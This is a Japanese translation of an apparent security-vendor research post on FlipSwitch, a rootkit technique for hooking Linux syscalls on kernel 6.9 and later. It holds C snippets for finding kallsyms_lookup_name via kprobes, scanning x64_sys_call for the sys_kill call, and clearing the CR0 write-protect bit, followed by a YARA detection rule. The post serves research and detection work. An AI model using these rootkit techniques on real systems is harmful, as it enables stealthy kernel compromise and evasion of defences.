Remco SprootenRuben Groenewoud

FlipSwitch: 新しいシステムコールフック技術

FlipSwitch は、Linux カーネル防御の回避について新たな視点を提供し、サイバー攻撃者と防御者の間で繰り広げられている戦いにおける新しい手法を明らかにしています。

10分で読めます内部
FlipSwitch: 新しいシステムコールフック技術

FlipSwitch: 新しいシステムコールフック技術

システム コール フック、特にシステム コール ハンドラーへのポインターを上書きすることによるフックは、Diamorphine や PUMAKIT などの Linux ルートキットの基礎となっており、これによりルートキットの存在を隠し、情報の流れを制御することができます。ftrace や eBPF など、他のフック メカニズムも存在しますが、それぞれに長所と短所があり、ほとんどが何らかの制限があります。関数ポインタの上書きは、カーネル内でシステムコールをフックする最も効果的で簡単な方法です。

しかし、Linux カーネルは動くターゲットです。新しいリリースごとに、コミュニティは、マルウェアの全クラスを一夜にして時代遅れにする可能性のある変更を導入します。これはまさにLinux カーネル 6.9のリリースで起こったことで、x86-64 アーキテクチャの syscall ディスパッチ メカニズムに根本的な変更が導入され、従来の syscall フック方法が事実上無効になりました。

壁が迫る:古典的なフッキングテクニックの終焉

カーネル 6.9 の変更の重要性を理解するために、まずは syscall フックの従来の方法をもう一度見てみましょう。長年、カーネルはシステムコールをディスパッチするためにsys_call_tableと呼ばれる関数ポインターの単純な配列を使用していました。カーネル ソースを見るとわかるように、ロジックは非常に単純です。

// Pre-6.9: Direct array lookup
sys_call_table[__NR_kill](regs);

ルートキットはメモリ内でこのテーブルを見つけ、書き込み保護を無効にし、 killgetdents64などのシステムコールのアドレスを、攻撃者が制御する独自の関数へのポインターで上書きする可能性があります。これにより、ルートキットはlsコマンドの出力をフィルターして、たとえば悪意のあるファイルを隠したり、特定のプロセスが終了しないようにしたりできるようになります。しかし、このメカニズムの直接性は弱点にもなりました。Linux カーネル 6.9 では、直接的な配列検索がより効率的で安全な switch ステートメント ベースのディスパッチ メカニズムに置き換えられ、状況は一変しました。

// Kernel 6.9+: Switch-statement dispatch
long x64_sys_call(const struct pt_regs *regs, unsigned int nr)
{
    switch (nr) {
    #include <asm/syscalls_64.h> // Expands to case statements
    default: return __x64_sys_ni_syscall(regs);
    }
}

この変更は、一見微妙ですが、従来のシステムコール フックに致命的な打撃を与えました。sys_call_tableトレース ツールとの互換性のためにまだ存在していますが、システム コールの実際のディスパッチには使用されなくなりました。これに対するいかなる変更も無視されます。

新たな道を見つける:フリップスイッチテクニック

カーネルは依然として何らかの方法で元の syscall 関数を呼び出す必要があることはわかっていました。ロジックは依然として存在していましたが、新たな間接層の背後に隠されていました。これにより、カーネルの syscall ディスパッチャのコンパイルされたマシン コードに直接パッチを適用することで、新しい switch ステートメントの実装をバイパスする手法であるFlipSwitchが開発されました。

仕組みの詳細は次の通りです:

最初のステップは、フックする元の syscall 関数のアドレスを見つけることです。皮肉なことに、現在は廃止されたsys_call_tableこれに最適なツールです。このテーブルでsys_killのアドレスを検索して、元の関数への信頼できるポインターを取得することもできます。

カーネル シンボルを見つける一般的な方法はkallsyms_lookup_name関数です。この関数は、エクスポートされたカーネル シンボルのアドレスを名前で検索するプログラム的な方法を提供します。たとえば、 kallsyms_lookup_name("sys_kill")を使用してsys_kill関数のアドレスを取得すると、 sys_call_tableディスパッチに直接使用できない場合でも関数ポインターを取得するための柔軟で信頼性の高い方法が提供されます。

通常、 kallsyms_lookup_nameはデフォルトではエクスポートされないため、ロード可能なカーネル モジュールに直接アクセスできないことに注意することが重要です。この制限によりカーネルのセキュリティが強化されます。ただし、 kallsyms_lookup_name間接的にアクセスする一般的な手法は、 kprobe使用することです。既知のカーネル関数にkprobeを配置すると、モジュールは kprobe の内部構造を使用して、元のプローブされた関数のアドレスを導出できます。このことから、 kallsyms_lookup_nameへの関数ポインターは、プローブされた関数のアドレスを基準とした近くのメモリ領域を調べるなど、カーネルのメモリレイアウトを注意深く分析することで取得できることがよくあります。

/**
 * Find the address of kallsyms_lookup_name using kprobes
 * @return Pointer to kallsyms_lookup_name function or NULL on failure
 */
void *find_kallsyms_lookup_name(void)
{
    struct kprobe *kp;
    void *addr;

    kp = kzalloc(sizeof(*kp), GFP_KERNEL);
    if (!kp)
        return NULL;

    kp->symbol_name = O_STRING("kallsyms_lookup_name");
    if (register_kprobe(kp) != 0) {
        kfree(kp);
        return NULL;
    }

    addr = kp->addr;
    unregister_kprobe(kp);
    kfree(kp);

    return addr;
}

kallsyms_lookup_nameのアドレスを見つけたら、それを使用して、フックを配置するプロセスを続行するために必要なシンボルへのポインターを見つけることができます。

ターゲット アドレスがわかったら、次に、システム コール ディスパッチ ロジックの新しいホームであるx64_sys_call関数に注目します。呼び出し命令を探すために、生のマシン コードをバイトごとにスキャンし始めます。x86-64 では、呼び出し命令には特定の 1 バイトのオペコード0xe8があります。このバイトの後には、CPU にジャンプ先を指示する 4 バイトの相対オフセットが続きます。

ここで魔法が起こります。私たちが求めているのは、単なる通話指示ではありません。4 バイトのオフセットと組み合わせると、前に見つけた元のsys_kill関数のアドレスを直接指す呼び出し命令を探しています。この0xe8オペコードと特定のオフセットの組み合わせは、 x64_sys_call関数内の一意のシグネチャです。このパターンに一致する命令は 1 つだけです。

/* Search for call instruction to sys_kill in x64_sys_call */
    for (size_t i = 0; i < DUMP_SIZE - 4; ++i) {
        if (func_ptr[i] == 0xe8) { /* Found a call instruction */
            int32_t rel = *(int32_t *)(func_ptr + i + 1);
            void *call_addr = (void *)((uintptr_t)x64_sys_call + i + 5 + rel);
            
            if (call_addr == (void *)sys_call_table[__NR_kill]) {
                debug_printk("Found call to sys_kill at offset %zu\n", i);

この固有の命令を見つけると、挿入ポイントが見つかります。しかし、カーネルのコードを変更する前に、メモリ保護をバイパスする必要があります。すでにカーネル (リング 0) 内で実行されているため、 CR0レジスタのビットを反転して書き込み保護を無効にするという、古典的で強力な手法を使用できます。CR0レジスタは基本的なプロセッサ機能を制御し、その 16 番目のビット (書き込み保護) は CPU が読み取り専用ページへの書き込みを行うことを防ぎます。このビットを一時的にクリアすることで、カーネルのメモリの任意の部分を変更できるようになります。

/**
 * Force write to CR0 register bypassing compiler optimizations
 * @param val Value to write to CR0
 */
static inline void write_cr0_forced(unsigned long val)
{
    unsigned long order;

    asm volatile("mov %0, %%cr0" 
        : "+r"(val), "+m"(order));
}

/**
 * Enable write protection (set WP bit in CR0)
 */
static inline void enable_write_protection(void)
{
    unsigned long cr0 = read_cr0();
    set_bit(16, &cr0);
    write_cr0_forced(cr0);
}

/**
 * Disable write protection (clear WP bit in CR0)
 */
static inline void disable_write_protection(void)
{
    unsigned long cr0 = read_cr0();
    clear_bit(16, &cr0);
    write_cr0_forced(cr0);
}

書き込み保護を無効にすると、呼び出し命令の 4 バイト オフセットが、独自のfake_kill関数を指す新しいオフセットで上書きされます。事実上、カーネル自身のディスパッチャ内部で「スイッチを入れ替え」、システムの残りの部分には手を付けずに、単一のシステムコールを悪意のあるコードにリダイレクトしました。

この技術は正確かつ信頼性に優れています。さらに重要なのは、カーネル モジュールがアンロードされると、すべての変更が完全に元に戻され、その存在の痕跡が残らないことです。

FlipSwitch の開発は、攻撃者と防御者の間で続いている猫とネズミの追いかけっこの証です。カーネル開発者が Linux カーネルを強化し続けると、攻撃者はこれらの防御を回避するための新しい独創的な方法を見つけ続けるでしょう。この研究を共有することで、セキュリティ コミュニティが常に一歩先を行くことができるよう貢献できれば幸いです。

マルウェアの検出

ルートキットは、密かに動作し、セキュリティ ツールによる検出を回避するように設計されているため、カーネルに読み込まれたルートキットを検出するのは非常に困難です。ただし、FlipSwitch の概念実証を識別するための YARA 署名を開発しました。このシグネチャは、メモリまたはディスク上の FlipSwitch ルートキットの存在を検出するために使用できます。

ヤラ

Elastic Security はこのアクティビティを識別するための YARA ルールを作成しました。以下は、Flipswitch の概念実証を識別するための YARA ルールです。

rule Linux_Rootkit_Flipswitch_821f3c9e
{
	meta:
		author = "Elastic Security"
		description = "Yara rule to detect the FlipSwitch rootkit PoC"
		os = "Linux"
		arch = "x86"
		category_type = "Rootkit"
		family = "Flipswitch"
		threat_name = "Linux.Rootkit.Flipswitch"
		
	strings:
		$all_a = { FF FF 48 89 45 E8 F0 80 ?? ?? ?? 31 C0 48 89 45 F0 48 8B 45 E8 0F 22 C0 }
		$obf_b = { BA AA 00 00 00 BE 0D 00 00 00 48 C7 ?? ?? ?? ?? ?? 49 89 C4 E8 }
		$obf_c = { BA AA 00 00 00 BE 15 00 00 00 48 89 C3 E8 ?? ?? ?? ?? 48 89 DF 48 89 43 30 E8 ?? ?? ?? ?? 85 C0 74 0D 48 89 DF E8 }
		$main_b = { 41 54 53 E8 ?? ?? ?? ?? 48 C7 C7 ?? ?? ?? ?? 49 89 C4 E8 ?? ?? ?? ?? 4D 85 E4 74 2D 48 89 C3 48 85 }
		$main_c = { 48 85 C0 74 1F 48 C7 ?? ?? ?? ?? ?? ?? 48 89 C7 48 89 C3 E8 ?? ?? ?? ?? 85 C0 74 0D 48 89 DF E8 ?? ?? ?? ?? 45 31 E4 EB 14 }
		$debug_b = { 48 89 E5 41 54 53 48 85 C0 0F 84 ?? ?? 00 00 48 C7 }
		$debug_c = { 48 85 C0 74 45 48 C7 ?? ?? ?? ?? ?? ?? 48 89 C7 48 89 C3 E8 ?? ?? ?? ?? 85 C0 75 26 48 89 DF 4C 8B 63 28 E8 ?? ?? ?? ?? 48 89 DF E8 }

	condition:
		#all_a>=2 and (1 of ($obf_*) or 1 of ($main_*) or 1 of ($debug_*))
}

参照資料

上記の研究を通じて、以下のことが参照されました。

この記事を共有する